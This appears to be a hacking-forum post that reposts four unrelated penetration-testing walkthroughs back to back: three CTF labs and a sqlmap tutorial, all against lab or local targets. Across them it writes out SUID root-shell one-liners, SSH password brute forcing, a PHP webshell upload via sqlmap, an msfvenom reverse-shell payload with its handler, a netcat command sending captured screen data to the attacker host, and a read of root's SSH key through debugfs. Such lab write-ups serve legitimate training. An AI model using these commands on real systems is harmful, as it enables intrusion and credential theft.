Login

**NINZA** · 05-14-2020, 09:09 AM

0			0

Today we are going to solve the latest CTF challenge presented by vulnhub for penetration practice and design by Mr. Hadi Mene. This lab is the proposal for beginners and mode of difficulty level is easy. You can download it from this Link:

[To see content please register here]

Penetration Methodologies

Network scanning
Directory brute-force attack
Abusing HTTP web directories
Compromise confidential
Spawn tty shell (ssh login)
SUID privilege escalation
Get root access and capture the flag

Let’s Begin!!
You will get target VM machine IP at the time of boot-up so let’s start with nmap port enumeration and execute the following command in our terminal.
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104
[Image: 1.png?w=687&ssl=1]

Since port 80 was opened; so I explored target IP in the web browser and welcomed by following the web page as shown below.
[Image: 2.png?w=687&ssl=1]

Unfortunately, I didn’t compute any remarkable hint from its web home page, therefore, I decided to launch directory brute-force attack through ‘dirb’ and run following command.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

The minute you will execute the above command you will found so many web directories. Here /admin looks more interesting, let’s figure out it.
[Image: 3.png?w=687&ssl=1]

So when I explored the following URL, it put-up a notes.txt file which might be holding something important.

[To see content please register here]

1

[To see content please register here]

So I looked into notes.txt and notice towards “12345ted123” which is a password.
[Image: 5.png?w=687&ssl=1]

Since port 22 was open so I can try ssh login and as we already have the password 12345ted123 but don’t know the username, therefore, I decided to use the hit-try method and use following credential for ssh login.
Username: ted (predict from password)
Password: 12345ted123
1
2
Username: ted (predict from password)
Password: 12345ted123
Wonderful!! We got login successfully, now move for post-exploitation and try to get root access. Then by using the following command, you can enumerate all binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
And it dumped all system binaries which have SUID permissions but /usr/bin.mawk and /usr/bin/python2.7 are at my target point for escalating root privilege through them. So I had exploited this VM twice to root access.
Run the following command and get the root access directly.
mawk 'BEGIN {system("/bin/sh")}'
id
cd /root
ls
cat flag.txt
1
2
3
4
5
mawk 'BEGIN {system("/bin/sh")}'
id
cd /root
ls
cat flag.txt
This was the 1st technique for escalating root privilege through awk one-liner.
[Image: 6.png?w=687&ssl=1]

Similarly, you can perform the same task by using python one-liner and can spawn the root shell.
python2.7 -c 'import pty;pty.spawn("/bin/sh")'
whoami
cat /root/flag.txt
1
2
3
python2.7 -c 'import pty;pty.spawn("/bin/sh")'
whoami
cat /root/flag.txt
B000MM!!! We have captured the flag and challenges is completed.
[Image: 7.png?w=687&ssl=1]

Hello everyone and welcome to the par two of our sqlmap series. In this article, we’ll be exploiting an error based SQL injection to upload a shell on the web server and gain control over it! Now, how to do this, tools required, everything is discussed in as much detail as possible. So, let’s dive right in.
Since attacking a live website is a crime, we’ll be setting up a local host in a windows system using XAMPP server and we’ll use SQLi Dhakkan to create SQL vulnerabilities in a database.
You can download XAMPP and SQL dhakkan from

[To see content please register here]

and

[To see content please register here]

respectively.
Step one is to fire up the XAMPP control panel and put SQL dhakkan in C: /xampp/htdocs directory which is the default directory for the web pages. The IP address on which SQL dhakkan is hosted in my network is 192.168.1.124
So, let’s start by checking the ports open on the server using nmap.
nmap 192.168.124
1
nmap 192.168.124
[Image: 0.png?w=687&ssl=1]

As we can see that MySQL is up and running on the host so we are good to apply SQLMAP.
sqlmap -u 192.168.1.124/sqli/Less-1/?id=1 --dbs
1
sqlmap -u 192.168.1.124/sqli/Less-1/?id=1 --dbs
[Image: 1.png?w=687&ssl=1]

Hence, we can see numerous databases loaded, so our sqlmap attack was successful.
Checking privileges of the users in the database
Now, to read a file it is very much important to see whether the user has FILE privileges or not. If we have file privileges we will be able to read files on the server and moreover, write the files on the server!!
sqlmap -u 192.168.1.124/sqli/Less-1/?id=1 --privileges
1
sqlmap -u 192.168.1.124/sqli/Less-1/?id=1 --privileges
[Image: 2_0.png?w=687&ssl=1]

As we can see that root@localhost has the FILE privilege.
[Image: 3.png?w=687&ssl=1]

Let’s see who the current user of this server is.
[Image: 4.png?w=687&ssl=1]

As we can see that the current user has the FILE privileges so we can apply –file-read to read a file from the server and –file-write to write a file on the server!
[Image: 4_0.png?w=687&ssl=1]

Reading a file from the web server
Let’s try reading a file in the public directory, let’s say, index.php.
sqlmap -u 192.168.1.124/sqli/Less-1/?id=1 --file-read=/xampp/htdocs/index.php --batch
1
sqlmap -u 192.168.1.124/sqli/Less-1/?id=1 --file-read=/xampp/htdocs/index.php --batch
[Image: 5.png?w=687&ssl=1]

We have read a file from a known directory successfully! We can apply directory buster to find other folders and files and read them too if we have the privileges!
[Image: 5_0.png?w=687&ssl=1]

Uploading a shell on the web server
Now, let’s try and upload a file on the web server. To do this we are using the “–file-write” command and “–file-dest” to put it in the desired destination.
For the sake of uploading a shell on the server, we’ll be choosing a simple command injection php shell that is already available in Kali in the /usr/share/webshells directory and has the name simple-backdoor.php
cd /usr/share/webshells/php
ls
cp simple-backdoor.php /root/Desktop/shell.php
1
2
3
cd /usr/share/webshells/php
ls
cp simple-backdoor.php /root/Desktop/shell.php
[Image: 8.png?w=687&ssl=1]

Now, we have moved the shell on the desktop. Let’s try to upload this on the web server.
sqlmap -u 192.168.1.124/sqli/Less-1.?id=1 --file-write=/root/Desktop/shell.php --file-dest=/xampp/htdocs/shell.php --batch
1
sqlmap -u 192.168.1.124/sqli/Less-1.?id=1 --file-write=/root/Desktop/shell.php --file-dest=/xampp/htdocs/shell.php --batch
[Image: 9.png?w=687&ssl=1]

It has been uploaded successfully.
[Image: 10.png?w=687&ssl=1]

Let’s check whether it was uploaded or not!
[Image: 11.PNG?w=687&ssl=1]

It indeed did get uploaded. Now, we’ll try and access the shell from the browser.
192.168.1.124/shell.php
[Image: 12.png?w=687&ssl=1]

It is a command line shell, hence, we can execute any windows command on the browser itself remotely!
The usage is: …..php?cmd=< windows command >
Let’s try and run ipconfig on the browser
[Image: 13.png?w=687&ssl=1]

Hence, we have successfully uploaded a shell and created a command injection vulnerability! Thanks for giving it a read!

Basic pentesting 2 is a boot2root VM and is a continuation of the Basic pentesting series by Josiah Pierce. This series is designed to help newcomers to penetration testing develop pentesting skills and have fun to explore part of the offensive side of security.
VirtualBox is the recommended platform for this challenge (though it should also work with VMware — however, I haven’t tested that).
This VM is a moderate step up in difficulty from the first entry in this series. If you’ve solved the first entry and have tried a few other beginner-oriented challenges, this VM should be a good next step. Once again, this challenge contains multiple initial exploitation vectors and privilege escalation vulnerabilities.
Your goal is to remotely attack the VM, gain root privileges, and read the flag located at /root/flag.txt.
You can download it from

[To see content please register here]

.
Penetrating Methodologies

Port scanning
Used enum4linux to enumerate all the users
SSH brute force for the user jan
Attained SSH .pub file for user kay
Used ssh2john to convert that pub key into a crackable format
Used John the ripper to crack key and attained a passphrase
Logged into user kay using the passphrase
Attained the file pass.bak
Got root access to the lab using the password in pass.bak
Captured the flag

Let’s start!
So, let’s begin by first scanning the ports open by using the most popular scanning tool called nmap.
nmap -A 192.168.1.139
1
nmap -A 192.168.1.139
[Image: 1.png?w=687&ssl=1]

Here, we can see that port 22 is open. But we don’t have any users currently. Let’s use enum4linux and try to find the users available.
enum4linux 192.168.139
1
enum4linux 192.168.139
[Image: 2.png?w=687&ssl=1]

Here, we have found 2 users jan and kay with us.
[Image: 3.png?w=687&ssl=1]

Let’s try brute-force for the user jan using hydra tool which comes pre-installed in kali. We will be using the dictionary “rockyou.txt” to brute force the login of jan
hydra -l jan -P /usr/share/wordlists/rockyou.txt 192.168.1.139 ssh
1
hydra -l jan -P /usr/share/wordlists/rockyou.txt 192.168.1.139 ssh
[Image: 4.png?w=687&ssl=1]

Amazing! We have found the login details of jan!
Username: jan
Password: armando
1
2
Username: jan
Password: armando
Now, let’s try and ssh login using the details we just cracked.
[Image: 5.png?w=687&ssl=1]

Wow! We have successfully gained a shell here. But jan don’t have sudo rights. Let’s check for any other users and the files and folders in it.
cd /home
ls
1
2
cd /home
ls
We found another folder called kay. Let’s go inside it and run ls -la command.
cd kay
ls -la
cd .ssh
ls -al
1
2
3
4
cd kay
ls -la
cd .ssh
ls -al
[Image: 6.png?w=687&ssl=1]

Hmmm… this id_rssa file looks fishy. Let’s read it using: cat id_rsa and copy paste it in the text file.
[Image: 7.png?w=687&ssl=1]

Now, we are going to use ssh2john to convert this SSH key into a crackable file for John the ripper.
python ssh2john key > ssh_login
john ssh_login
1
2
python ssh2john key > ssh_login
john ssh_login
[Image: 8.png?w=687&ssl=1]

Here, we found the phrase “beeswax.” This could either be a password or any other phrase to unlock something as we move further.
Let’s try and login to user kay using that key.
ssh -i key [email protected]
1
ssh -i key [email protected]
It is asking for a passphrase now. Let’s try and enter “beeswax”
[Image: 9.png?w=687&ssl=1]

Voila!! We have successfully gained access to kay. Now let’s try and read that pass.bak file. It looks like it could have something valuable!
cat pass.bak
It gives us the phrase “heresareallystrongpasswordthatfollowsthepasswordpolicy$$”
Now Let’s check sudo rights for him and write sudo -l
It surely asks for a root password. Let us type what we just got in pass.bak file. And you can observe kay has ALL permissions.
sudo su
Voila! It gives us root access. Let’s check the /root directory by:
cd /root
ls
1
2
cd /root
ls
And we got a flag!

Hence, we were able to attain the flag in this challenge. Happy hacking!
[Image: 10.png?w=687&ssl=1]

In this Post, we are going to solve another CTF challenge “falafel” which is available online for those who want to increase their skill in penetration testing and black box testing. Falafel is a retired vulnerable lab presented by hack the box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to expert level.
Level: Hard
Task: find user.txt & root.txt file on the victim’s machine
Penetration Methodology
Scanning

Open ports and Running services (Nmap)

Enumeration

Enumerating Web Directory (Dirbuster)
Identify Web application vulnerability
SQL Injection

Exploiting Web Application Vulnerabilities

Login form SQL Injection
File Upload

Spawning Shell

Injecting PHP payload (Metasploit)
Stealing SSH Credential
SSH login
Get user.txt

Privilege Escalation

Cracking Frame-buffer Device (Cyber Forensic)
Escalated root shell
Get root.txt

Walk-Through
Scanning
Since these labs are online available therefore they have static IP and its IP is 10.10.10.73 so let’s begin with nmap port enumeration.
nmap –A 10.10.10.73
1
nmap –A 10.10.10.73
From its scanning result, we found port 22 and 80 are open for ssh and http services.
[Image: 1.png?w=687&ssl=1]

So we explored target IP through the web browser and it put up a login page shown.
[Image: 2.png?w=687&ssl=1]

Enumeration
When I didn’t found any remarkable things then I used Dirbuster for directory brute force attack. It put up so many files but /cyberlaw.txt looks more interesting so I browsed

[To see content please register here]

and put a message in front of me.
[Image: 3.png?w=687&ssl=1]

By reading this message, I conclude that there is an admin account and which is facing major security issue and an attacker can easily take over the website using an image upload feature. Moreover, there is some hint on the URL filter.
[Image: 4.png?w=687&ssl=1]

Then we try SQL injection on the login form but it gave an error “Wrong Identification: admin”
[Image: 5.png?w=687&ssl=1]

Exploiting Web Application Vulnerabilities
Then we make more efforts for SQL injection by using SQLMAP and used “Wrong identification” as a string to be passed at the time of login.
sqlmap -u

[To see content please register here]

--forms --level 5 --risk 3 --string "Wrong identification" --dbs --batch
1
sqlmap -u

[To see content please register here]

--forms --level 5 --risk 3 --string "Wrong identification" --dbs --batch
[Image: 6.png?w=687&ssl=1]

As result, it dumps the database name “falafel” now let’s extract the whole database information.
[Image: 7.png?w=687&ssl=1]

sqlmap -u

[To see content please register here]

--forms --level 5 --risk 3 --string "Wrong identification" -D falafel --tables --batch
sqlmap -u

[To see content please register here]

--forms --level 5 --risk 3 --string "Wrong identification" -D falafel -T users --dump --batch
1
2
sqlmap -u

[To see content please register here]

--forms --level 5 --risk 3 --string "Wrong identification" -D falafel --tables --batch
sqlmap -u

[To see content please register here]

--forms --level 5 --risk 3 --string "Wrong identification" -D falafel -T users --dump --batch
So we got users tables from inside it and it has username and password as shown.
[Image: 8.png?w=687&ssl=1]

As you can observe that the password hash for user admin is started with 0 and I don’t know much about this type of hash, so we look in the Google and notice link for Magic hashes.
[Image: 9.png?w=687&ssl=1]

As you can observe the highlighted md5 hash for the 32-bit string is same as above……………………….
[Image: 10.png?w=687&ssl=1]

With help of the following credential we login into admin dashboard and move to upload options.
Username: admin
Password: 240610708
1
2
Username: admin
Password: 240610708
[Image: 11.png?w=687&ssl=1]

Here we are trying to upload a php file named shell.php but it put an error “Bad extension “as shown
Thereafter we renamed it as shell.php.png and again try to upload.
[Image: 12.png?w=687&ssl=1]

Ohh! Yes, the file with .png extension get uploaded successfully inside /var/www/html/uploads hence we can to upload a malicious php file or any php backdoor with .png extension.
[Image: 14.png?w=687&ssl=1]

Spawning Shell
Let’s create a PHP payload for uploading into the web site. We have to use the msfvenom command for generating PHP backdoor.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw
Now copy the code from *<?php….die(); and paste in a text file then as rajjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj.php.png (240 character) also start multi handler in a new terminal.
[Image: 15.png?w=687&ssl=1]

Let me make it clear to you, here the author has applied filter for identifying 240 character file which means your file name must contain 240 characters including extension.
[Image: 16.png?w=687&ssl=1]

As shown in the given image the PHP file is uploaded successfully inside /var/www/html/uploads.
[Image: 17.png?w=687&ssl=1]

Let execute it in the URL for obtaining reverse shell at Metasploit.
[Image: 18.png?w=687&ssl=1]

Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.25
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.25
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe Meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation. Further, we open passwd file and notice two system username i.e. yossi and moshe.
meterpreter> cat /etc/passwd
1
meterpreter> cat /etc/passwd
[Image: 19.png?w=687&ssl=1]

After making some more inspection we found a file connection.php from inside /var/www/html and receive database credential from inside it.
meterpreter> cd /var/www/html
meterpreter> ls
meterpreter> cat /connection.php
1
2
3
meterpreter> cd /var/www/html
meterpreter> ls
meterpreter> cat /connection.php
This is MySQL configuration file for MySQL where username is moshe and password is falafelIsReallyTasty
[Image: 20.png?w=687&ssl=1]

With help of above credential we are trying to ssh login and after making successful login we found the user.txt file from inside /home/moshe
ssh [email protected]
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /home
cd moshe
cat user.txt
1
2
3
4
5
ssh [email protected]
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /home
cd moshe
cat user.txt
[Image: 21.png?w=687&ssl=1]

Privilege Escalation
After some more penetration, we enumerated the groups for user moshe and found that the user is in the video group. When we found uses as the member of the video group then for Privilege Escalation we need check frame-buffer device. Because this can lead a local user able to access a frame buffer device file (/dev/fb*) could possibly use this flaw to escalate their privileges on the system.
Let’s have the contents of /dev/fb0 with help of cat command to capture the framebuffer raw data inside /tmp directory as scree.raw
groups
cat /dev/fb0 > /tmp/screen.raw
cd /tmp
ls
nc 10.10.14.25 5555 < screen.raw
1
2
3
4
5
groups
cat /dev/fb0 > /tmp/screen.raw
cd /tmp
ls
nc 10.10.14.25 5555 < screen.raw
So we have captured the raw data inside /tmp, now you need to take the raw image and convert it to a standard image format say .png but we before that we need to find t the size, use the following command which will print the dimension……………..
cat /sys/class/graphics/fb0/virtual_size
1
cat /sys/class/graphics/fb0/virtual_size
[Image: 22.png?w=687&ssl=1]

Now enter the following command to convert raw data into a .png image format
./iraw2png.pl 1176 885 < screen.raw > screen.png
1
./iraw2png.pl 1176 885 < screen.raw > screen.png
[Image: 24.png?w=687&ssl=1]

Then we opened screen.png and got the following image which was showing password: MoshePlzStopHackingMe! for user Yossi.
[Image: 25.png?w=687&ssl=1]

With help of above-enumerated credential, we have made SSH login successfully and then run following command for getting SSH RSA key.
df
debugfs /dev/sda1
cat /root/.ssh/id_rsa
1
2
3
df
debugfs /dev/sda1
cat /root/.ssh/id_rsa
[Image: 27.png?w=687&ssl=1]

Now copy the RSA key in a text file and named as key in your local machine. Also, give permission 600 to it. Then connect to ssh once again through above RSA file as given below:
ssh -i key [email protected]
ls
cat root.txt
1
2
3
ssh -i key [email protected]
ls
cat root.txt
[Image: 28.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis